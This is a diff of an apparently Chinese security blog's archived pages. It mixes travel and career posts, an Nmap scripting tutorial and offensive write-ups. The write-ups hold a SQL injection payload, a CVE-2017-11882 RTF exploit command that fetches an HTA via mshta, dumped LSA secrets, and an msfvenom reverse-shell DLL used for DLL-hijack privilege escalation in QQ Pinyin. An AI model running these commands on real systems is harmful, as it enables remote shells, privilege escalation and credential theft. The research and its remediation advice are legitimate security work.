123456' UNION SELECT phone FROM user where 'admin'='admin => 0x3132333435362720554e494f4e2053454c4543542070686f6e652046524f4d2075736572207768657265202761646d696e273d2761646d696e

check.php

0x03 过程分析

这种逻辑型的二次SQL注入,的确是扫描器、工具难以发现,如果再加个验证码,难度会更高一些。

寻找突破点还是要积累更多的经验

0x04 过程演示

\ No newline at end of file diff --git a/archivers/2017-11-21/1/index.html b/archivers/2017-11-21/1/index.html index 8796745..abe0033 100644 --- a/archivers/2017-11-21/1/index.html +++ b/archivers/2017-11-21/1/index.html @@ -6,4 +6,4 @@
python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e "mshta http://192.168.3.106/evil.hta" -o test.rtf
 !!! Completed !!!
 

最后将test.rtf在目标机器上执行 =_=||,其实可以实战的,对于APT的帮助很大

结果

目标机器上执行后,我们可以在Cobalt Strike看到来自客户端的会话

shell

0x03 修复建议

1、微软已经对此漏洞做出了修复。

2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。

\ No newline at end of file +reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400
\ No newline at end of file diff --git a/archivers/2018-01-22/1/index.html b/archivers/2018-01-22/1/index.html index 7522ecb..45554c6 100644 --- a/archivers/2018-01-22/1/index.html +++ b/archivers/2018-01-22/1/index.html @@ -6,4 +6,4 @@ 开始冲破云层

开始冲破云层

天上的景色

天上的景色

天上的景色

着陆后

下了缆车,看到许多人,然后我的嘴唇开始泛白、头有点晕,感觉开始吸氧,向楼梯走去,绝对不能倒在起点啊 哈哈

天上的景色

天上的景色

走到三分之一,来一张美照~

天上的景色

手拿氧气罐~ 酷酷的站在云海边缘~

天上的景色

此时已到海拔 4470 米

天上的景色

后面的人群……

登上人生第一个巅峰

天上的景色

此时已经瘫倒在地上……

天上的景色

海拔 4680米的高空,一眼望去 太阳、云海、人群,让我更加热爱生活,期待更多的风景。

天上的景色

天上的景色

天上的景色

我的装备,一瓶水、一部手机、一个必备的氧气罐,以及背包

下山

天上的景色

下山的时候比较轻松了,但是还是要时不时的吸氧,腿很酸

天上的景色

更加敬畏自然。

蓝月谷

天上的景色

从缆车上下来 就坐车去蓝月谷了,还遇到了羊驼 哈哈哈 真的很萌呢 ~

蓝月谷

水很清澈

蓝月谷

走累了就休息一会~

蓝月谷

蓝月谷

蓝月谷

印象丽江

中午吃完饭就去看实景舞台剧,全部都是少数民族,演出持续了一个多小时,我到最后都开始打瞌睡了,因为实在是太累了

印象丽江

印象丽江

从座位上可以直接看到玉龙雪山~

期间还有殉情那段,简直美到不行!

殉情是丽江纳西族婚姻关系中突出的现象,丽江纳西族的民风是: 男女在结婚前,有社交的自由,各种节日和大小庙会,青年们相约同去游玩,小伙子也结队出门,手持柳枝在路旁等候,依据传统风俗,姑娘要带些米花糖,糕饼之类在身边,以分赠给向自己讨吃的小伙子。男青年在姑娘门前路过时,向自己看中的姑娘讨东西吃,介此达到交往的目的。节日夜晚,男女青年相约到河边相会,并通过弹口弦,唱调子,表示情意。但男女不能面对面和肩靠肩坐在一起,一般需要隔一道水沟或一簇茨蓬,至少也要相隔两三米才能交谈或唱和。 情投意合的男女常常私订婚约。

退场的时候还是忍不住拍了几张雪山的照片 :)

雪山 雪山 -雪山

束河古镇

束河古镇,纳西语称“绍坞”,因村后聚宝山形如堆垒之高峰,以山名村,流传变异而成,意为“高峰之下的村寨”,是纳西先民在丽江坝子中最早的聚居地之一,是茶马古道上保存完好的重要集镇。

也是纳西先民从农耕文明向商业文明过渡的活标本,是对外开放和马帮活动形成的集镇建设典范。束河是世界文化遗产丽江古城的重要组成部分,于2005年入选CCTV“中国魅力名镇”。

进入束河村,你可直抵束河中心集市,在这里你会有一种似曾相识的感觉,这是一个类似大研镇古城四方街的广场,面积约250平方米,亦称束河四方街,赶集的日子里异常热闹,曾是丽江皮毛交易集散之地。广场四周均为店铺,古老的木板门面,暗红色油漆。还有店前黑亮的青石,脚下斑驳的石坡路面,以及闲坐的老人,勾勒出束河古朴自然本色。站在广场中心,你细细观察体会,大研古城四方街完全是束河的翻版,纳西民族由游牧向农耕,再走向城市,从这里你可找出一些痕迹。沿束河街北走100米,便可找到溪流的源头“九鼎龙潭”,潭水透明清澈,日夜涌泉,束河人奉为神泉,于是建有龙泉寺。

相比于我住的丽江古城要小一点,束河古镇里更多的交通工具是马车

束河古镇

茶楼很复古,路上都是石头路,非常有感觉,听导游说里面还有一个三百多年历史的古桥

束河古镇

建筑门口都有一个小河道,水很清澈,这边的人经常用桶来打水浇花。

束河古镇

离开喧嚣的人群,我比较喜欢这个小道,门面也很少,夕阳照射到这里面感觉非常美丽

束河古镇

束河古镇

束河古镇

走到这里有一个石头泥砖墙,好像没有人居住,但是上面的植被长得非常茂密。

束河古镇

束河古镇

束河古镇

很大的一家咖啡厅……房子周边都有河道

束河古镇

别具色彩的指路牌~ 超喜欢

束河古镇

路上还遇到两只小狗,一点都不怕生,我把手机打开给它拍照,它还自己凑过来

束河古镇

当然要拍一下背影了~ !

束河古镇

束河古镇

在这条街上,有一家咖啡店,大概是好多人的梦想吧……

束河古镇

少有人来的小巷

纳西族的博物馆

纳西族的博物馆

一开始想进博物馆看看,但是没买博物馆的门票,进不去,但是这个展馆是在博物馆出口处,刚好可以偷偷进去看看 嘿嘿

纳西族的博物馆

纳西族的火枪

纳西族的博物馆

用于装水的革囊

纳西族的博物馆

辛勤劳作的纳西族

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

这里坐着的大部分是美少女和帅男,我迟迟不敢靠近 哈哈!

不过驻唱唱的歌确实好听

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

返程之前的年会

上午开会,总结工作,顺便拍了公司全体人员的合照。

返程之前的年会

返程之前的年会

走在去大水车的路上……

返程之前的年会

这里大多是情侣挂上的许愿牌,应该是这么叫。

返程之前的年会

著名的丽江古城大水车

返程之前的年会

返程之前的年会

在这还可以看到玉龙雪山~

返程之前的年会

返程之前的年会

晚上的年会晚饭,菜很多~ 大多都是比较重口的

哈哈 而且还有抽奖环节,我弄了个平板 ~

返回杭州

返回杭州

临走之前再拍一下客栈

返回杭州

坐完大巴到达丽江机场

返回杭州

然后发现了一些比较有意思的事情

返回杭州

这个点烟器很骚~ 设计师也很聪明~ 哈哈哈 平常机场里都是电热点烟,这个弄了两排打火机,废物利用了

返回杭州

登机回家~

返回杭州

出了机场,就看到了杭州是阴天,飘着毛毛细雨,空气倒是比丽江湿润一些。

旅程到此就结束了,回到家还收到了漏洞银行的礼物 开心~

返回杭州

返回杭州

返回杭州

最后的感受

这是我人生第一次旅游,东西没带够、又不太会玩,购物欲望也不强,确实比较尴尬

但是有了第一次旅行,绝对会将旅游当做一个生活必需品了,就像去KTV唱歌一样,定期去世界看看~

看到山山水水,登上云端,让我更加敬畏自然、热爱生活、热爱每个看到的风景,反而对于城市少了一些热情。

快过年了,希望大家在明年心想事成、有所收获。

END

\ No newline at end of file +雪山

束河古镇

束河古镇,纳西语称“绍坞”,因村后聚宝山形如堆垒之高峰,以山名村,流传变异而成,意为“高峰之下的村寨”,是纳西先民在丽江坝子中最早的聚居地之一,是茶马古道上保存完好的重要集镇。

也是纳西先民从农耕文明向商业文明过渡的活标本,是对外开放和马帮活动形成的集镇建设典范。束河是世界文化遗产丽江古城的重要组成部分,于2005年入选CCTV“中国魅力名镇”。

进入束河村,你可直抵束河中心集市,在这里你会有一种似曾相识的感觉,这是一个类似大研镇古城四方街的广场,面积约250平方米,亦称束河四方街,赶集的日子里异常热闹,曾是丽江皮毛交易集散之地。广场四周均为店铺,古老的木板门面,暗红色油漆。还有店前黑亮的青石,脚下斑驳的石坡路面,以及闲坐的老人,勾勒出束河古朴自然本色。站在广场中心,你细细观察体会,大研古城四方街完全是束河的翻版,纳西民族由游牧向农耕,再走向城市,从这里你可找出一些痕迹。沿束河街北走100米,便可找到溪流的源头“九鼎龙潭”,潭水透明清澈,日夜涌泉,束河人奉为神泉,于是建有龙泉寺。

相比于我住的丽江古城要小一点,束河古镇里更多的交通工具是马车

束河古镇

茶楼很复古,路上都是石头路,非常有感觉,听导游说里面还有一个三百多年历史的古桥

束河古镇

建筑门口都有一个小河道,水很清澈,这边的人经常用桶来打水浇花。

束河古镇

离开喧嚣的人群,我比较喜欢这个小道,门面也很少,夕阳照射到这里面感觉非常美丽

束河古镇

束河古镇

束河古镇

走到这里有一个石头泥砖墙,好像没有人居住,但是上面的植被长得非常茂密。

束河古镇

束河古镇

束河古镇

很大的一家咖啡厅……房子周边都有河道

束河古镇

别具色彩的指路牌~ 超喜欢

束河古镇

路上还遇到两只小狗,一点都不怕生,我把手机打开给它拍照,它还自己凑过来

束河古镇

当然要拍一下背影了~ !

束河古镇

束河古镇

在这条街上,有一家咖啡店,大概是好多人的梦想吧……

束河古镇

少有人来的小巷

纳西族的博物馆

纳西族的博物馆

一开始想进博物馆看看,但是没买博物馆的门票,进不去,但是这个展馆是在博物馆出口处,刚好可以偷偷进去看看 嘿嘿

纳西族的博物馆

纳西族的火枪

纳西族的博物馆

用于装水的革囊

纳西族的博物馆

辛勤劳作的纳西族

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

这里坐着的大部分是美少女和帅男,我迟迟不敢靠近 哈哈!

不过驻唱唱的歌确实好听

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

束河古镇街头的那些酒吧

返程之前的年会

上午开会,总结工作,顺便拍了公司全体人员的合照。

返程之前的年会

返程之前的年会

走在去大水车的路上……

返程之前的年会

这里大多是情侣挂上的许愿牌,应该是这么叫。

返程之前的年会

著名的丽江古城大水车

返程之前的年会

返程之前的年会

在这还可以看到玉龙雪山~

返程之前的年会

返程之前的年会

晚上的年会晚饭,菜很多~ 大多都是比较重口的

哈哈 而且还有抽奖环节,我弄了个平板 ~

返回杭州

返回杭州

临走之前再拍一下客栈

返回杭州

坐完大巴到达丽江机场

返回杭州

然后发现了一些比较有意思的事情

返回杭州

这个点烟器很骚~ 设计师也很聪明~ 哈哈哈 平常机场里都是电热点烟,这个弄了两排打火机,废物利用了

返回杭州

登机回家~

返回杭州

出了机场,就看到了杭州是阴天,飘着毛毛细雨,空气倒是比丽江湿润一些。

旅程到此就结束了,回到家还收到了漏洞银行的礼物 开心~

返回杭州

返回杭州

返回杭州

最后的感受

这是我人生第一次旅游,东西没带够、又不太会玩,购物欲望也不强,确实比较尴尬

但是有了第一次旅行,绝对会将旅游当做一个生活必需品了,就像去KTV唱歌一样,定期去世界看看~

看到山山水水,登上云端,让我更加敬畏自然、热爱生活、热爱每个看到的风景,反而对于城市少了一些热情。

快过年了,希望大家在明年心想事成、有所收获。

END

\ No newline at end of file diff --git a/archivers/2018-01-30/1/index.html b/archivers/2018-01-30/1/index.html index 08cc170..82c8a1a 100644 --- a/archivers/2018-01-30/1/index.html +++ b/archivers/2018-01-30/1/index.html @@ -1,3 +1,3 @@ 针对某跨国企业的一次渗透测试-持续 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

30 -Jan 2018

针对某跨国企业的一次渗透测试-持续

文章涉及泄漏厂商隐私,已经删除!

\ No newline at end of file +Jan 2018

针对某跨国企业的一次渗透测试-持续

文章涉及泄漏厂商隐私,已经删除!

\ No newline at end of file diff --git a/archivers/2018-03-18/1/index.html b/archivers/2018-03-18/1/index.html index 97147f7..b44e261 100644 --- a/archivers/2018-03-18/1/index.html +++ b/archivers/2018-03-18/1/index.html @@ -26,4 +26,4 @@ /usr/bin/gnome-terminal -x bash -c "/usr/bin/nmap -iL %f -oN %d/NmapScan10000Result.txt -A;bash" -

这个参数是用于创建一个新的终端,并且执行Nmap。最后的;bash很重要,是用于保留终端不被关闭而写的

enter description here
0x07

有了这个方式,我们可以自定义很多工具的参数传递,是不是很方便呢?

0x04 快捷键

Windows下按Print Screen,而Linux需要自己安装软件

安装命令:sudo apt-get install shutter

打开系统设置->设备->键盘

enter description here
0x08

添加一个快捷键,并且输入名称、命令,按下快捷键:

enter description here
0x09

此时按下快捷键激活截图软件:

enter description here
0x10

0x03 参考

\ No newline at end of file +

这个参数是用于创建一个新的终端,并且执行Nmap。最后的;bash很重要,是用于保留终端不被关闭而写的

enter description here
0x07

有了这个方式,我们可以自定义很多工具的参数传递,是不是很方便呢?

0x04 快捷键

Windows下按Print Screen,而Linux需要自己安装软件

安装命令:sudo apt-get install shutter

打开系统设置->设备->键盘

enter description here
0x08

添加一个快捷键,并且输入名称、命令,按下快捷键:

enter description here
0x09

此时按下快捷键激活截图软件:

enter description here
0x10

0x03 参考

\ No newline at end of file diff --git a/archivers/2018-03-27/1/index.html b/archivers/2018-03-27/1/index.html index 499addc..e0582f1 100644 --- a/archivers/2018-03-27/1/index.html +++ b/archivers/2018-03-27/1/index.html @@ -90,4 +90,4 @@ SMB 192.168.3.5 445 LIYINGZHEA30B DPAPI_SYSTEM:01000000faf06c0f43acbed98d62bd9829d053acb06a00f159e3419d193ff5be56c028fe8d7f0053161d9331 SMB 192.168.3.5 445 LIYINGZHEA30B NL$KM:ac8c8a7ce1dd903d74a231a44fcf5df82db711df62e495da9b5f10c3a52dd618a8abce6975c69fea6a9ed69ff6511c62f9a750b5d696a69c3221dc0f1f849f3d SMB 192.168.3.5 445 LIYINGZHEA30B [+] Dumped 5 LSA secrets to /root/.cme/logs/LIYINGZHEA30B_192.168.3.5_2018-03-27_155122.lsa and /root/.cme/logs/LIYINGZHEA30B_192.168.3.5_2018-03-27_155122.cached -

More …

后续再加

\ No newline at end of file +

More …

后续再加

\ No newline at end of file diff --git a/archivers/2018-04-20/1/index.html b/archivers/2018-04-20/1/index.html index e8b5f25..53f3e94 100644 --- a/archivers/2018-04-20/1/index.html +++ b/archivers/2018-04-20/1/index.html @@ -1,3 +1,3 @@ 新生活 - 上海,我来了 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

20 -Apr 2018

新生活 - 上海,我来了

完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。


谢谢我的朋友们给我的支持!

\ No newline at end of file +Apr 2018

新生活 - 上海,我来了

完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。


谢谢我的朋友们给我的支持!

\ No newline at end of file diff --git a/archivers/2018-05-02/1/index.html b/archivers/2018-05-02/1/index.html index f3f4409..6a89c5b 100644 --- a/archivers/2018-05-02/1/index.html +++ b/archivers/2018-05-02/1/index.html @@ -64,4 +64,4 @@ testPass:w!23456 webManager:w!23456 dba:w!23456 -
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2018-06-09/1/index.html b/archivers/2018-06-09/1/index.html index 17adb63..0757a59 100644 --- a/archivers/2018-06-09/1/index.html +++ b/archivers/2018-06-09/1/index.html @@ -1,3 +1,3 @@ QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

09 -Jun 2018

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权

0x00 DLL劫持简介

《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 – 百度百科

0x01 应用程序寻找DLL的过程

  • 1.程序所在目录
  • 2.系统目录即 SYSTEM32 目录
  • 3.16位系统目录即 SYSTEM 目录
  • 4.Windows目录
  • 5.加载 DLL 时所在的当前目录
  • 6.PATH环境变量中列出的目录

首先如果在程序所在目录下未寻找到DLL,一般会在SYSTEM32目录下寻找到,那么可能会存在DLL劫持,要看注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

0x02 寻找过程

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统 中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。 有了Process Monitor,使用者就可以对系统中的任何文件和 注册表操作同时进行监视和记录,通过注册表和文件读写的变化, 对于帮助诊断系统故障或是发现恶意软件、病毒或木马来说,非常 有用。 这是一个高级的 Windows 系统和应用程序监视工具,由优秀的 Sysinternals 开发,并且目前已并入微软旗下,可靠性自不用说。

通过Process Monitor找出一些可能容易被劫持的DLL,特征一般如下:

0x01

  • ntmarta.dll(直接调用)
  • profapi.dll(需要点击“配置”)

这两个都不在KnownDLLs中,由于开发人员调用这两个DLL的时候没有定义绝对路径,导致DLL搜索,我们可以直接在搜索到system32之前,放入我们要劫持的DLL。

权限问题:

如果要劫持的DLL目录被操作系统限制了必须以管理员权限才可以读写,那么我们无法利用,本文演示从低权限到高权限的DLL劫持提权。

0x02

那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400

这个目录是任何人都可以读写的,使用MSF生成DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll > ntmarta.dll

接下来通过任意途径,将dll copy到C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400路径下即可

MSF配置如下:

0x03

当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。

0x04

0x03 视频演示

\ No newline at end of file +Jun 2018

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权

0x00 DLL劫持简介

《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 – 百度百科

0x01 应用程序寻找DLL的过程

首先如果在程序所在目录下未寻找到DLL,一般会在SYSTEM32目录下寻找到,那么可能会存在DLL劫持,要看注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

0x02 寻找过程

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统 中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。 有了Process Monitor,使用者就可以对系统中的任何文件和 注册表操作同时进行监视和记录,通过注册表和文件读写的变化, 对于帮助诊断系统故障或是发现恶意软件、病毒或木马来说,非常 有用。 这是一个高级的 Windows 系统和应用程序监视工具,由优秀的 Sysinternals 开发,并且目前已并入微软旗下,可靠性自不用说。

通过Process Monitor找出一些可能容易被劫持的DLL,特征一般如下:

0x01

这两个都不在KnownDLLs中,由于开发人员调用这两个DLL的时候没有定义绝对路径,导致DLL搜索,我们可以直接在搜索到system32之前,放入我们要劫持的DLL。

权限问题:

如果要劫持的DLL目录被操作系统限制了必须以管理员权限才可以读写,那么我们无法利用,本文演示从低权限到高权限的DLL劫持提权。

0x02

那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400

这个目录是任何人都可以读写的,使用MSF生成DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll > ntmarta.dll

接下来通过任意途径,将dll copy到C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400路径下即可

MSF配置如下:

0x03

当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。

0x04

0x03 视频演示

\ No newline at end of file diff --git a/archivers/2018-07-27/1/index.html b/archivers/2018-07-27/1/index.html index 69882a3..ce14258 100644 --- a/archivers/2018-07-27/1/index.html +++ b/archivers/2018-07-27/1/index.html @@ -2,4 +2,4 @@
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

27 Jul 2018

Nmap扩展开发(一)

0x01 前言

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋

PS :如果你不知道你是否需要学习这个技术,那么我可以先告诉你Nmap能够做什么:

  • 网络结构画像
  • 漏洞扫描
  • 漏洞利用
  • 端口扫描
  • 爬虫
  • 信息搜集
  • ….

我的分类不是很清晰,但是对于一个渗透测试人员、运维人员、甲、乙方的工程师都会需要它的定制化功能,例如:将扫描结果写到数据库?新的漏洞出了POC,客户需要立即进行漏洞扫描?

导出扫描结果这个问题,Nmap官方做出如下回应:

Nmap Network Scanning

一个共同的愿望是将Nmap结果输出到数据库以便于查询和跟踪。这允许用户来自个人渗透测试仪 到国际企业存储他们的所有扫描结果并轻松比较它们。企业可能每天运行大型扫描,并为新打开的端口或可用计算机的邮件管理员安排查询。渗透测试人员可能会了解新漏洞并搜索受影响应用程序的所有旧扫描结果,以便他可以警告相关客户端。研究人员可以扫描数百万个IP地址,并将结果保存在数据库中,以便进行实时查询。

虽然这些目标值得称赞,但Nmap不提供直接的数据库输出功能。我不仅有太多不同的数据库类型支持它们,而且用户的需求变化如此之大,以至于没有单一的数据库模式是合适的。企业,笔测试员和研究人员的需求都需要不同的表结构。

而很多朋友大多都是使用Python来调用Nmap进行格式解析,这种方式无法预估扫描进度,不能进行状态交互,效率很差,如果我们需要一个实时进行独写、漏洞检测等定制化的操作,那么就可以跟我一起来学习如何写一个自己的Nmap脚本,这本书涵盖的知识比较多,会涉及安全、网络协议、编程技术这些相关知识,相信你能够收获很多。

笔者写扩展脚本开发系列的初衷是让大家了解nmap这个优秀的开源工具的功能,解决一些定制化的扫描需求。

在开始之前,需要读者具备:能够熟练使用Nmap进行端口扫描、了解Nmap目录结构、懂得常见的网络知识、Lua基础(如果需要的话,我会在后期铺垫)。

请将你的读后感或建议留言评论,不胜荣幸!

0x02 Nmap扩展脚本分类

  • auth 处理身份验证
  • broadcast 网络广播
  • brute 暴力猜解
  • default 默认
  • discovery 服务发现
  • dos 拒绝服务
  • exploit 漏洞利用
  • external 外部扩展
  • fuzzer 模糊测试
  • intrusive 扫描可能造成不良后果
  • malware 检测后门
  • safe 扫描危害较小
  • version 版本识别
  • vuln 漏洞检测

0X03 Nmap扩展脚本铺垫

相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。

主要介绍如下几点:

  • Nmap扩展脚本用途
  • Nmap扩展脚本使用方法
  • 如何查看Nmap扩展脚本的Usage(使用方法)

0X03 [1] Nmap扩展脚本用途>

Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。

0x03 [2] Nmap扩展脚本使用方法

在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:http://zhuanlan.zhihu.com/p/26618074

本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:

http-server-header.nse

扫描命令:nmap –script=http-server-header

例如我需要扫描192.168.85.132的HTTP服务的中间件信息,使用Nmap时需要输入以下命令:

nmap –script=http-server-header 192.168.85.132

执行结果如下:

从扫描结果可以看出,在扫描到80端口的开放状态及服务名称下方会输出关于http-server-header脚本的结果:Apache/2.4.29 (Debian)

一般情况下,在nmap安装目录下有一个scripts文件夹,里面存放了很多供我们调用的脚本,脚本的语言是lua,文件扩展名是nse。使用脚本时我们不需要输入脚本的全名,例如,调用http-server-header.nse时,只需要输入文件名http-server-header即可。

下面介绍一些带参数的扩展脚本使用方法。同样的,设定一个需求,我需要扫描192.168.85.132的HTTP服务下有哪些目录或者文件,那么可以采用http-enum.nse脚本。

http-enum.nse用于枚举http服务下的目录或文件

enter description here

但是单单使用这个脚本,而不根据实际情况设定内置参数,结果可能并不理想。这个脚本有一些参数:

  • http-enum.basepath 开始目录
  • http-enum.displayall 是否显示全部(默认HTTP状态码200显示,401不显示)
  • http-enum.fingerprintfile 指定其他文件,从中读取指纹
  • http-enum.category 设置类别(‘attacks’, ‘database’, ‘general’, ‘microsoft’, ‘printer’)
  • http-fingerprints.nikto-db-path 指定nikto数据库的路径

假设要从admin目录开始进行枚举,需要输入如下命令:

nmap –script=http-enum –script-args ‘http-enum.basepath=admin’ -192.168.85.132

enter description here

0X03 [3] 如何查看Nmap扩展脚本的Usage(使用方法)

使用–script-help参数

nmap –script-help=http-enum

enter description here

直接查看脚本文件

cat /usr/share/nmap/scripts/http-enum.nse

enter description here

\ No newline at end of file +192.168.85.132

enter description here

0X03 [3] 如何查看Nmap扩展脚本的Usage(使用方法)

使用–script-help参数

nmap –script-help=http-enum

enter description here

直接查看脚本文件

cat /usr/share/nmap/scripts/http-enum.nse

enter description here

\ No newline at end of file diff --git a/archivers/2018-08-03/2/index.html b/archivers/2018-08-03/2/index.html index 39175c2..b4bd1d3 100644 --- a/archivers/2018-08-03/2/index.html +++ b/archivers/2018-08-03/2/index.html @@ -1,3 +1,3 @@ 近期的生活 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

03 -Aug 2018

近期的生活

0x01 入职

在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。

0x02 工作

慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;

有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。

0x03 近况

最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。

0x04 收获

在日常和同事聊起安服的时候,都能感受到一个好的安全服务工程师应该有的素养,首先就是要符合企业价值观,稳步成长。

在和客户接触的时候,不管是售前阶段、售后阶段,都要具备良好的表达沟通能力,大企、小司你要清楚各种客户他最根本的需要,接触的多了你的解决方案才会更容易落地、更容易被认可。

“引导客户需求” 每个人都有短处,将自己的长处发挥到极致是最好的状态,这块谈的不是销售技巧,而是个人营销的技巧,在现场、电话中,要清楚的知道自己的定位,“我是一个安全服务工程师,我的职责就是给予客户的问题技术层面的解决方案。”

\ No newline at end of file +Aug 2018

近期的生活

0x01 入职

在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。

0x02 工作

慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;

有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。

0x03 近况

最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。

0x04 收获

在日常和同事聊起安服的时候,都能感受到一个好的安全服务工程师应该有的素养,首先就是要符合企业价值观,稳步成长。

在和客户接触的时候,不管是售前阶段、售后阶段,都要具备良好的表达沟通能力,大企、小司你要清楚各种客户他最根本的需要,接触的多了你的解决方案才会更容易落地、更容易被认可。

“引导客户需求” 每个人都有短处,将自己的长处发挥到极致是最好的状态,这块谈的不是销售技巧,而是个人营销的技巧,在现场、电话中,要清楚的知道自己的定位,“我是一个安全服务工程师,我的职责就是给予客户的问题技术层面的解决方案。”

\ No newline at end of file diff --git a/archivers/2018-08-16/1/index.html b/archivers/2018-08-16/1/index.html index 03563c1..aba8c11 100644 --- a/archivers/2018-08-16/1/index.html +++ b/archivers/2018-08-16/1/index.html @@ -124,4 +124,4 @@ 2
# 假设 MyNewEnv已经被创建
 ~$ source MyNewEnv/bin/activate # 将环境生效
-
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2018-10-08/1/index.html b/archivers/2018-10-08/1/index.html index 019d1ee..572b7a3 100644 --- a/archivers/2018-10-08/1/index.html +++ b/archivers/2018-10-08/1/index.html @@ -29,4 +29,4 @@ 将lask.msi复制到Windows中,运行后即可获得SYSTEM权限。

参考学习:https://www.anquanke.com/post/id/87

0x05 DLL劫持提权

之前写过关于DLL劫持的几篇文章,涵盖了原理、分析过程、技巧。

有点懒了,基础知识我就照搬我博客的吧!

DLL劫持简介

《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 – 百度百科 应用程序寻找DLL的过程

首先如果在程序所在目录下未寻找到DLL,一般会在SYSTEM32目录下寻找到,那么可能会存在DLL劫持,要看注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

